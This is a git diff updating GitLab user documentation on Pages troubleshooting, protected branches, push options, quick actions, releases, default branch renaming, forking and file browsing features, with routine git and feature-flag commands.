For a list of known issues, visit the GitLab [public issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name[]=Category%3APages).
+
+## Troubleshooting
+
+### 404 error when accessing a GitLab Pages site URL
+
+This problem most likely results from a missing `index.html` file in the public directory. If after deploying a Pages site
+a 404 is encountered, confirm that the public directory contains an `index.html` file. If the file contains a different name
+such as `test.html`, the Pages site can still be accessed, but the full path would be needed. For example: `https//group-name.pages.example.com/project-name/test.html`.
+
+The contents of the public directory can be confirmed by [browsing the artifacts](../../../ci/pipelines/job_artifacts.md#download-job-artifacts) from the latest pipeline.
+
+Files listed under the public directory can be accessed through the Pages URL for the project.
+
+A 404 can also be related to incorrect permissions. If [Pages Access Control](pages_access_control.md) is enabled, and a user
+navigates to the Pages URL and receives a 404 response, it is possible that the user does not have permission to view the site.
+To fix this, verify that the user is a member of the project.
diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md
index aef96ff12c9..c66f9038ed2 100644
--- a/doc/user/project/protected_branches.md
+++ b/doc/user/project/protected_branches.md
@@ -26,7 +26,7 @@ By default, a protected branch does these things:
- GitLab administrators are allowed to push to the protected branches.
- Users with [Developer permissions](../permissions.md) are allowed to
create a project in a group, but might not be allowed to initially
- push to the [default branch](repository/branches/index.md#default-branch).
+ push to the [default branch](repository/branches/default.md).
The default branch protection level is set in the [Admin Area](../admin_area/settings/visibility_and_access_controls.md#default-branch-protection).
@@ -177,13 +177,12 @@ Deleting a protected branch is allowed only by using the web interface; not from
This means that you can't accidentally delete a protected branch from your
command line or a Git client application.
-## Allow force push on protected branches **(FREE SELF)**
+## Allow force push on protected branches
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15611) in GitLab 13.10.
-> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-allow-force-push-on-protected-branches).
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15611) in GitLab 13.10 behind a disabled feature flag.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-allow-force-push-on-protected-branches).
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -253,8 +252,8 @@ for details about the pipelines security model.
## Enable or disable allow force push on protected branches **(FREE SELF)**
-Allow force push on protected branches is under development and not ready for
-production use. It is deployed behind a feature flag that is **disabled by default**.
+Allow force push on protected branches is ready for
+production use. It is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
can enable it.
diff --git a/doc/user/project/protected_tags.md b/doc/user/project/protected_tags.md
index 3ea0bb62c0b..260f355349d 100644
--- a/doc/user/project/protected_tags.md
+++ b/doc/user/project/protected_tags.md
@@ -23,9 +23,7 @@ anyone without Maintainer [permissions](../permissions.md) is prevented from cre
To protect a tag, you need to have at least Maintainer [permissions](../permissions.md).
-1. Navigate to the project's **Settings > Repository**:
-
- ![Repository Settings](img/project_repository_settings.png)
+1. Go to the project's **Settings > Repository**.
1. From the **Tag** dropdown menu, select the tag you want to protect or type and click **Create wildcard**. In the screenshot below, we chose to protect all tags matching `v*`:
diff --git a/doc/user/project/push_options.md b/doc/user/project/push_options.md
index c557c7718c9..3c5cc668986 100644
--- a/doc/user/project/push_options.md
+++ b/doc/user/project/push_options.md
@@ -68,6 +68,8 @@ time as pushing changes:
| `merge_request.description="<description>"` | Set the description of the merge request. Ex: `git push -o merge_request.description="The description I want"`. | [12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/64320) |
| `merge_request.label="<label>"` | Add labels to the merge request. If the label does not exist, it is created. For example, for two labels: `git push -o merge_request.label="label1" -o merge_request.label="label2"`. | [12.3](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31831) |
| `merge_request.unlabel="<label>"` | Remove labels from the merge request. For example, for two labels: `git push -o merge_request.unlabel="label1" -o merge_request.unlabel="label2"`. | [12.3](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31831) |
+| `merge_request.assign="<user>"` | Assign users to the merge request. For example, for two users: `git push -o merge_request.assign="user1" -o merge_request.assign="user2"`. | [12.9](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/XXXXX) |
+| `merge_request.unassign="<user>"` | Remove assigned users from the merge request. For example, for two users: `git push -o merge_request.unassign="user1" -o merge_request.unassign="user2"`. | [12.9](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/XXXXX) |
If you use a push option that requires text with spaces in it, you need to enclose it
in quotes (`"`). You can omit the quotes if there are no spaces. Some examples:
diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md
index 284deabb33c..e1815785fb5 100644
--- a/doc/user/project/quick_actions.md
+++ b/doc/user/project/quick_actions.md
@@ -68,7 +68,7 @@ threads. Some quick actions might not be available to all subscription tiers.
| `/due <date>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set due date. Examples of valid `<date>` include `in 2 days`, `this Friday` and `December 31st`. |
| `/duplicate <#issue>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Close this issue and mark as a duplicate of another issue. **(FREE)** Also, mark both as related. |
| `/epic <epic>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add to epic `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic. |
-| `/estimate <<W>w <DD>d <hh>h <mm>m>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Set time estimate. For example, `/estimate 1w 3d 2h 14m`. |
+| `/estimate <time>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Set time estimate. For example, `/estimate 1mo 2w 3d 4h 5m`. Learn more about [time tracking](time_tracking.md). |
| `/invite_email email1 email2` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add up to six email participants. This action is behind feature flag `issue_email_participants`. |
| `/iteration *iteration:"iteration name"` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set iteration. For example, to set the `Late in July` iteration: `/iteration *iteration:"Late in July"` ([introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/196795)). |
| `/label ~label1 ~label2` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Add one or more labels. Label names can also start without a tilde (`~`), but mixed syntax is not supported. |
@@ -95,8 +95,7 @@ threads. Some quick actions might not be available to all subscription tiers.
| `/remove_zoom` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Remove Zoom meeting from this issue ([introduced in GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16609)). |
| `/reopen` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Reopen. |
| `/shrug <comment>` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Append the comment with `¯\_(ツ)_/¯`. |
-| `/spend <time(-<h>h <mm>m)> <date(<YYYY-MM-DD>)>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Subtract spent time. Optionally, specify the date that time was spent on. For example, `/spend time(-1h 30m)` or `/spend time(-1h 30m) date(2018-08-26)`. |
-| `/spend <time(<h>h <mm>m)> <date(<YYYY-MM-DD>)>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Add spent time. Optionally, specify the date that time was spent on. For example, `/spend time(1h 30m)` or `/spend time(1h 30m) date(2018-08-26)`. |
+| `/spend <time> [<date>]` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Add or subtract spent time. Optionally, specify the date that time was spent on. For example, `/spend 1mo 2w 3d 4h 5m 2018-08-26` or `/spend -1h 30m`. Learn more about [time tracking](time_tracking.md). |
| `/submit_review` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Submit a pending review ([introduced in GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/issues/8041)). |
| `/subscribe` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Subscribe to notifications. |
| `/tableflip <comment>` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Append the comment with `(╯°□°)╯︵ â”»â”â”»`. |
diff --git a/doc/user/project/releases/img/deploy_freeze_v13_10.png b/doc/user/project/releases/img/deploy_freeze_v13_10.png
new file mode 100644
index 00000000000..5c4b2d983dd
--- /dev/null
+++ b/doc/user/project/releases/img/deploy_freeze_v13_10.png
Binary files differ
diff --git a/doc/user/project/releases/img/deploy_freeze_v13_2.png b/doc/user/project/releases/img/deploy_freeze_v13_2.png
deleted file mode 100644
index 27d3a6044a1..00000000000
--- a/doc/user/project/releases/img/deploy_freeze_v13_2.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md
index 7348e17a017..06ad71713d7 100644
--- a/doc/user/project/releases/index.md
+++ b/doc/user/project/releases/index.md
@@ -5,7 +5,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Releases
+# Releases **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) in GitLab 11.7.
@@ -217,11 +217,11 @@ To set a deploy freeze window in the UI, complete these steps:
1. Click **Add deploy freeze** to open the deploy freeze modal.
1. Enter the start time, end time, and timezone of the desired deploy freeze period.
1. Click **Add deploy freeze** in the modal.
-
-![Deploy freeze modal for setting a deploy freeze period](img/deploy_freeze_v13_2.png)
+1. After the deploy freeze is saved, you can edit it by selecting the edit button (**{pencil}**).
+ ![Deploy freeze modal for setting a deploy freeze period](img/deploy_freeze_v13_10.png)
WARNING:
-To edit or delete a deploy freeze, use the [Freeze Periods API](../../../api/freeze_periods.md).
+To delete a deploy freeze, use the [Freeze Periods API](../../../api/freeze_periods.md).
If a project contains multiple freeze periods, all periods apply. If they overlap, the freeze covers the
complete overlapping period.
@@ -416,14 +416,14 @@ Evidence collection snapshots are visible on the Releases page, along with the t
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32773) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2.
-When you create a release, if [job artifacts](../../../ci/pipelines/job_artifacts.md#artifactsreports) are included in the last pipeline that ran, they are automatically included in the release as release evidence.
+When you create a release, if [job artifacts](../../../ci/yaml/README.md#artifactsreports) are included in the last pipeline that ran, they are automatically included in the release as release evidence.
Although job artifacts normally expire, artifacts included in release evidence do not expire.
To enable job artifact collection you need to specify both:
1. [`artifacts:paths`](../../../ci/yaml/README.md#artifactspaths)
-1. [`artifacts:reports`](../../../ci/pipelines/job_artifacts.md#artifactsreports)
+1. [`artifacts:reports`](../../../ci/yaml/README.md#artifactsreports)
```yaml
ruby:
diff --git a/doc/user/project/repository/branches/default.md b/doc/user/project/repository/branches/default.md
new file mode 100644
index 00000000000..1363d883e76
--- /dev/null
+++ b/doc/user/project/repository/branches/default.md
@@ -0,0 +1,180 @@
+---
+stage: Create
+group: Source Code
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
+type: concepts, howto
+---
+
+# Default branch
+
+When you create a new [project](../../index.md), GitLab creates a default branch
+in the repository. A default branch has special configuration options not shared
+by other branches:
+
+- It's [initially protected](../../protected_branches.md#protected-branches) against
+ accidental deletion and forced pushes.
+- When a merge request uses an
+ [issue closing pattern](../../issues/managing_issues.md#closing-issues-automatically)
+ to close an issue, the work is merged into this branch.
+
+The name of your [new project's](../../index.md) default branch depends on any
+instance-level or group-level configuration changes made by your GitLab administrator.
+GitLab checks first for specific customizations, then checks at a broader level,
+using the GitLab default only if no customizations are set:
+
+1. A [project-specific](#change-the-default-branch-name-for-a-project) custom default branch name.
+1. A [subgroup-level](#group-level-custom-initial-branch-name) custom default branch name.
+1. A [group-level](#group-level-custom-initial-branch-name) custom default branch name.
+1. An [instance-level](#instance-level-custom-initial-branch-name) custom default branch name. **(FREE SELF)**
+1. If no custom default branch name is set at any level, GitLab defaults to:
+ - `main`: Projects created with GitLab 14.0 or later.
+ - `master`: Projects created before GitLab 14.0.
+
+In the GitLab UI, you can change the defaults at any level. GitLab also provides
+the [Git commands you need](#update-the-default-branch-name-in-your-repository) to update your copy of the repository.
+
+## Change the default branch name for a project
+
+To update the default branch name for an individual [project](../../index.md):
+
+1. Sign in to GitLab as a user with [Administrator](../../../permissions.md) permissions.
+1. In the left navigation menu, go to **Settings > Repository**.
+1. Expand **Default branch**, and select a new default branch.
+1. (Optional) Select the **Auto-close referenced issues on default branch** check box to close
+ issues when a merge request
+ [uses a closing pattern](../../issues/managing_issues.md#closing-issues-automatically).
+1. Select **Save changes**.
+
+API users can also use the `default_branch` attribute of the
+[Projects API](../../../../api/projects.md) when creating or editing a project.
+
+## Change the default branch name for an instance or group
+
+GitLab administrators can configure a new default branch name at the
+[instance level](#instance-level-custom-initial-branch-name) or
+[group level](#group-level-custom-initial-branch-name).
+
+### Instance-level custom initial branch name **(FREE SELF)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221013) in GitLab 13.2.
+> - It's deployed behind a feature flag, enabled by default.
+> - It cannot be enabled or disabled per-project.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-custom-initial-branch-name).
+
+GitLab [administrators](../../../permissions.md) of self-managed instances can
+customize the initial branch for projects hosted on that instance. Individual
+groups and subgroups can override this instance-wide setting for their projects.
+
+1. Go to **Admin Area > Settings > Repository**.
+1. Expand **Default initial branch name**.
+1. Change the default initial branch to a custom name of your choice.
+1. Select **Save changes**.
+
+Projects created on this instance after you change the setting use the
+custom branch name, unless a group-level or subgroup-level configuration
+overrides it.
+
+#### Enable or disable custom initial branch name **(FREE SELF)**
+
+Setting the default initial branch name is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../../administration/feature_flags.md)
+can opt to disable it for your instance.
+
+To disable it:
+
+```ruby
+Feature.disable(:global_default_branch_name)
+```
+
+To enable it:
+
+```ruby
+Feature.enable(:global_default_branch_name)
+```
+
+### Group-level custom initial branch name **(FREE)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221014) in GitLab 13.6.
+
+Administrators of groups and subgroups can configure the default branch name for a group:
+
+1. Go to the group **Settings > Repository**.
+1. Expand **Default initial branch name**.
+1. Change the default initial branch to a custom name of your choice.
+1. Select **Save changes**.
+
+Projects created in this group after you change the setting use the custom branch name,
+unless a subgroup configuration overrides it.
+
+## Update the default branch name in your repository
+
+WARNING:
+Changing the name of your default branch can potentially break tests,
+CI/CD configuration, services, helper utilities, and any integrations your repository
+uses. Before you change this branch name, consult with your project owners and maintainers.
+Ensure they understand the scope of this change includes references to the old
+branch name in related code and scripts.
+
+When changing the default branch name for an existing repository, you should preserve
+the history of your default branch by renaming it, instead of deleting it. This example
+renames a Git repository's (`example`) default branch.
+
+1. On your local command line, navigate to your `example` repository, and ensure
+ you're on the default branch:
+
+ ```plaintext
+ cd example
+ git checkout master
+ ```
+
+1. Rename the existing default branch to the new name (`main`). The argument `-m`
+ transfers all commit history to the new branch:
+
+ ```plaintext
+ git branch -m master main
+ ```
+
+1. Push the newly created `main` branch upstream, and set your local branch to track
+ the remote branch with the same name:
+
+ ```plaintext
+ git push -u origin main
+ ```
+
+1. If you plan to remove the old default branch, update `HEAD` to point to your new default branch, `main`:
+
+ ```plaintext
+ git symbolic-ref refs/remotes/origin/HEAD refs/remotes/origin/main
+ ```
+
+1. Sign in to GitLab as an [administrator](../../../permissions.md) and follow
+ the instructions to
+ [change the default branch for this project](#change-the-default-branch-name-for-a-project).
+ Select `main` as your new default branch.
+1. Protect your new `main` branch as described in the [protected branches documentation](../../protected_branches.md).
+1. (Optional) If you want to delete the old default branch:
+ 1. Verify that nothing is pointing to it.
+ 1. Delete the branch on the remote:
+
+ ```plaintext
+ git push origin --delete master
+ ```
+
+ You can delete the branch at a later time, after you confirm the new default branch is working as expected.
+
+1. Notify your project contributors of this change, because they must also take some steps:
+
+ - Contributors should pull the new default branch to their local copy of the repository.
+ - Contributors with open merge requests that target the old default branch should manually
+ re-point the merge requests to use `main` instead.
+1. In your repository, update any references to the old branch name in your code.
+1. Update references to the old branch name in related code and scripts that reside outside
+ your repository, such as helper utilities and integrations.
+
+## Resources
+
+- [Discussion of default branch renaming](https://lore.kernel.org/git/pull.656.v4.git.1593009996.gitgitgadget@gmail.com/)
+ on the Git mailing list
+- [March 2021 blog post: The new Git default branch name](https://about.gitlab.com/blog/2021/03/10/new-git-default-branch-name/)
diff --git a/doc/user/project/repository/branches/img/branch_filter_search_box_v13_10.png b/doc/user/project/repository/branches/img/branch_filter_search_box_v13_10.png
index da7d5268b3b..fdda3858c3b 100644
--- a/doc/user/project/repository/branches/img/branch_filter_search_box_v13_10.png
+++ b/doc/user/project/repository/branches/img/branch_filter_search_box_v13_10.png
Binary files differ
diff --git a/doc/user/project/repository/branches/index.md b/doc/user/project/repository/branches/index.md
index d049b2108ee..f2562ef89e3 100644
--- a/doc/user/project/repository/branches/index.md
+++ b/doc/user/project/repository/branches/index.md
@@ -19,12 +19,14 @@ After pushing your changes to a new branch, you can:
- [Discuss](../../../discussions/index.md) your implementation with your team
- Preview changes submitted to a new branch with [Review Apps](../../../../ci/review_apps/index.md).
-With [GitLab Starter](https://about.gitlab.com/pricing/), you can also request
-[approval](../../merge_requests/merge_request_approvals.md) from your managers.
+You can also request [approval](../../merge_requests/merge_request_approvals.md)
+from your managers.
For more information on managing branches using the GitLab UI, see:
-- [Default branches](#default-branch)
+- [Default branches](default.md): When you create a new [project](../../index.md), GitLab creates a
+ default branch for the repository. You can change this setting at the project,
+ subgroup, group, or instance level.
- [Create a branch](../web_editor.md#create-a-new-branch)
- [Protected branches](../../protected_branches.md#protected-branches)
- [Delete merged branches](#delete-merged-branches)
@@ -41,55 +43,6 @@ See also:
- [GitLab Flow](../../../../university/training/gitlab_flow.md) documentation.
- [Getting started with Git](../../../../topics/git/index.md) and GitLab.
-## Default branch
-
-When you create a new [project](../../index.md), GitLab sets `master` as the default
-branch of the repository. You can choose another branch to be your project's
-default under your project's **Settings > Repository**.
-
-When closing issues directly from merge requests through the [issue closing pattern](../../issues/managing_issues.md#closing-issues-automatically),
-the target is the project's **default branch**.
-
-The default branch is also initially [protected](../../protected_branches.md#protected-branches)
-against accidental deletion and forced pushes.
-
-### Custom initial branch name **(FREE SELF)**
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221013) in GitLab 13.2.
-> - It's deployed behind a feature flag, enabled by default.
-> - It's enabled on GitLab.com.
-> - It cannot be enabled or disabled per-project.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-custom-initial-branch-name). **(FREE SELF)**
-
-By default, when you create a new project in GitLab, the initial branch is called `master`.
-For self-managed instances, a GitLab administrator can customize the initial branch name to something
-else. This way, every new project created from then on starts from the custom branch name rather than `master`. To do so:
-
-1. Go to the **Admin Area > Settings > Repository** and expand **Default initial
- branch name**.
-1. Change the default initial branch to a custom name of your choice.
-1. **Save Changes**.
-
-#### Enable or disable custom initial branch name **(FREE SELF)**
-
-Setting the default initial branch name is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../../administration/feature_flags.md)
-can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:global_default_branch_name)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:global_default_branch_name)
-```
-
## Compare
To compare branches in a repository:
diff --git a/doc/user/project/repository/file_finder.md b/doc/user/project/repository/file_finder.md
index 3af7a5045c4..42b82f2c360 100644
--- a/doc/user/project/repository/file_finder.md
+++ b/doc/user/project/repository/file_finder.md
@@ -7,17 +7,13 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/file_finder.html'
# File finder **(FREE)**
-> [Introduced](https://github.com/gitlabhq/gitlabhq/pull/9889) in GitLab 8.4.
-
The file finder feature allows you to search for a file in a repository using the
-GitLab UI.
-
-You can find the **Find File** button when in the **Files** section of a
-project.
+GitLab UI. To use it:
-![Find file button](img/file_finder_find_button_v12_10.png)
+1. Go to your project's **Repository > Files**.
+1. In the upper right corner, select **Find File**.
-If you prefer to keep their fingers on the keyboard, use the
+If you prefer to keep your fingers on the keyboard, use the
[shortcut button](../../shortcuts.md), which you can invoke from anywhere
in a project.
diff --git a/doc/user/project/repository/forking_workflow.md b/doc/user/project/repository/forking_workflow.md
index c8922890deb..33ab5f6580d 100644
--- a/doc/user/project/repository/forking_workflow.md
+++ b/doc/user/project/repository/forking_workflow.md
@@ -18,26 +18,37 @@ submit them through a merge request to the repository you don't have access to.
## Creating a fork
-Forking a project is, in most cases, a two-step process.
+To fork an existing project in GitLab:
-1. On the project's home page, in the top right, click the **Fork** button.
+1. On the project's home page, in the top right, click **{fork}** **Fork**.
- ![Fork button](img/forking_workflow_fork_button.png)
+ ![Fork button](img/forking_workflow_fork_button_v13_10.png)
-1. Click a namespace to fork to. Only namespaces you have Developer and higher [permissions](../../permissions.md) for are shown.
+1. Select the project to fork to:
- NOTE:
- The project path must be unique within the namespace.
+ - *(Recommended method)* Below **Select a namespace to fork the project**, identify
+ the project you want to fork to, and click **Select**. Only namespaces you have
+ Developer and higher [permissions](../../permissions.md) for are shown.
+
+ ![Choose namespace](img/forking_workflow_choose_namespace_v13_10.png)
- ![Choose namespace](img/forking_workflow_choose_namespace_v13_2.png)
+ - *(Experimental method)* If your GitLab administrator has
+ [enabled the experimental fork project form](#enable-or-disable-the-fork-project-form), read
+ [Create a fork with the fork project form](#create-a-fork-with-the-fork-project-form).
+ Only namespaces you have Developer and higher
+ [permissions](../../permissions.md) for are shown.
+
+ NOTE:
+ The project path must be unique in the namespace.
-The fork is created. The permissions you have in the namespace are your permissions in the fork.
+GitLab creates your fork, and redirects you to the project page for your new fork.
+The permissions you have in the namespace are your permissions in the fork.
WARNING:
When a public project with the repository feature set to **Members Only**
is forked, the repository is public in the fork. The owner
-of the fork must manually change the visibility. This is being
-fixed in [#36662](https://gitlab.com/gitlab-org/gitlab/-/issues/36662).
+of the fork must manually change the visibility. Issue
+[#36662](https://gitlab.com/gitlab-org/gitlab/-/issues/36662) exists for this issue.
## Repository mirroring
@@ -71,3 +82,44 @@ changes are added to the repository and branch you're merging into.
## Removing a fork relationship
You can unlink your fork from its upstream project in the [advanced settings](../settings/index.md#removing-a-fork-relationship).
+
+## Create a fork with the fork project form **(FREE SELF)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15013) in GitLab 13.11.
+> - It's [deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-the-fork-project-form). **(FREE SELF)**
+
+This experimental version of the fork project form is available only if your GitLab
+administrator has [enabled it](#enable-or-disable-the-fork-project-form):
+
+![Choose namespace](img/fork_form_v13_10.png)
+
+To use it, follow the instructions at [Creating a fork](#creating-a-fork) and provide:
+
+- The project name.
+- The project URL.
+- The project slug.
+- *(Optional)* The project description.
+- The visibility level for your fork.
+
+### Enable or disable the fork project form **(FREE SELF)**
+
+The new [fork project form](#create-a-fork-with-the-fork-project-form) is under
+development and not ready for production use. It is deployed behind a feature flag
+that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:fork_project_form)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:fork_project_form)
+```
diff --git a/doc/user/project/repository/git_blame.md b/doc/user/project/repository/git_blame.md
index 0f49932d0c6..198993e21f3 100644
--- a/doc/user/project/repository/git_blame.md
+++ b/doc/user/project/repository/git_blame.md
@@ -8,17 +8,15 @@ description: "Documentation on Git file blame."
# Git file blame **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/commit/39c657930625ddc3ac8a921f01ffc83acadce68f) in GitLab 2.5.
-
[Git blame](https://git-scm.com/docs/git-blame) provides more information
about every line in a file, including the last modified time, author, and
-commit hash.
-
-You can find the **Blame** button with each file in a project.
+commit hash. To view it for a file:
-![File blame button](img/file_blame_button_v12_6.png "Blame button")
+1. Go to your project's **Repository > Files**.
+1. Select the file you want to review.
+1. In the upper right corner, select **Blame**.
-When you select the **Blame** button, this information is shown:
+When you select **Blame**, this information is displayed:
![Git blame output](img/file_blame_output_v12_6.png "Blame button output")
diff --git a/doc/user/project/repository/git_history.md b/doc/user/project/repository/git_history.md
index 1b30a0b0f5f..356f02a4902 100644
--- a/doc/user/project/repository/git_history.md
+++ b/doc/user/project/repository/git_history.md
@@ -8,16 +8,13 @@ description: "Documentation on Git file history."
# Git file history **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/blob/9ba1224867665844b117fa037e1465bb706b3685/app/controllers/commits_controller.rb) in GitLab 0.8.0
-
Git file History provides information about the commit history associated
-with a file.
-
-You can find the **History** button with each file in a project.
+with a file. To use it:
-![File history button](img/file_history_button_v12_6.png "History button")
+1. Go to your project's **Repository > Files**.
+1. In the upper right corner, select **History**.
-When you select the **History** button, this information displays:
+When you select **History**, this information is displayed:
![Git log output](img/file_history_output_v12_6.png "History button output")
diff --git a/doc/user/project/repository/img/contributors_graph.png b/doc/user/project/repository/img/contributors_graph.png
index c31da7aa1ff..83fdf1fc41f 100644
--- a/doc/user/project/repository/img/contributors_graph.png
+++ b/doc/user/project/repository/img/contributors_graph.png
Binary files differ
diff --git a/doc/user/project/repository/img/download_source_code.png b/doc/user/project/repository/img/download_source_code.png
index 56808061980..8d62d19b291 100644
--- a/doc/user/project/repository/img/download_source_code.png
+++ b/doc/user/project/repository/img/download_source_code.png
Binary files differ
diff --git a/doc/user/project/repository/img/file_blame_button_v12_6.png b/doc/user/project/repository/img/file_blame_button_v12_6.png
deleted file mode 100644
index e7aa0d1ea3f..00000000000
--- a/doc/user/project/repository/img/file_blame_button_v12_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/file_finder_find_button_v12_10.png b/doc/user/project/repository/img/file_finder_find_button_v12_10.png
deleted file mode 100644
index 51545f63fde..00000000000
--- a/doc/user/project/repository/img/file_finder_find_button_v12_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/file_history_button_v12_6.png b/doc/user/project/repository/img/file_history_button_v12_6.png
deleted file mode 100644
index e7aa0d1ea3f..00000000000
--- a/doc/user/project/repository/img/file_history_button_v12_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/fork_form_v13_10.png b/doc/user/project/repository/img/fork_form_v13_10.png
new file mode 100644
index 00000000000..00c2f89a844
--- /dev/null
+++ b/doc/user/project/repository/img/fork_form_v13_10.png
Binary files differ
diff --git a/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_10.png b/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_10.png
new file mode 100644
index 00000000000..74f65cb663d
--- /dev/null
+++ b/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_10.png
Binary files differ
diff --git a/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_2.png b/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_2.png
index 4843cc671ae..f48cf176ba1 100644
--- a/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_2.png
+++ b/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_2.png
Binary files differ
diff --git a/doc/user/project/repository/img/forking_workflow_fork_button.png b/doc/user/project/repository/img/forking_workflow_fork_button.png
deleted file mode 100644
index eea62892232..00000000000
--- a/doc/user/project/repository/img/forking_workflow_fork_button.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/repository/img/forking_workflow_fork_button_v13_10.png b/doc/user/project/repository/img/forking_workflow_fork_button_v13_10.png
new file mode 100644
index 00000000000..376beb803a7
--- /dev/null
+++ b/doc/user/project/repository/img/forking_workflow_fork_button_v13_10.png
Binary files differ
diff --git a/doc/user/project/repository/img/repo_graph.png b/doc/user/project/repository/img/repo_graph.png
index 28da8ad9589..fcccedbc436 100644
--- a/doc/user/project/repository/img/repo_graph.png
+++ b/doc/user/project/repository/img/repo_graph.png
Binary files differ
diff --git a/doc/user/project/repository/img/web_editor_line_link_v13_10.png b/doc/user/project/repository/img/web_editor_line_link_v13_10.png
new file mode 100644
index 00000000000..36347afcbe8
--- /dev/null
+++ b/doc/user/project/repository/img/web_editor_line_link_v13_10.png
Binary files differ
diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md
index b9145364e3b..70c5ef63dd4 100644
--- a/doc/user/project/repository/index.md
+++ b/doc/user/project/repository/index.md
@@ -257,7 +257,7 @@ prompted to open XCode.
### Clone and open in Visual Studio Code
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220957) in GitLab 13.8.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220957) in GitLab 13.10.
All projects can be cloned into Visual Studio Code. To do that:
diff --git a/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook.png b/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook.png
index 52c5c5aea32..a12fabcdd2a 100644
--- a/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook.png
+++ b/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook.png
Binary files differ
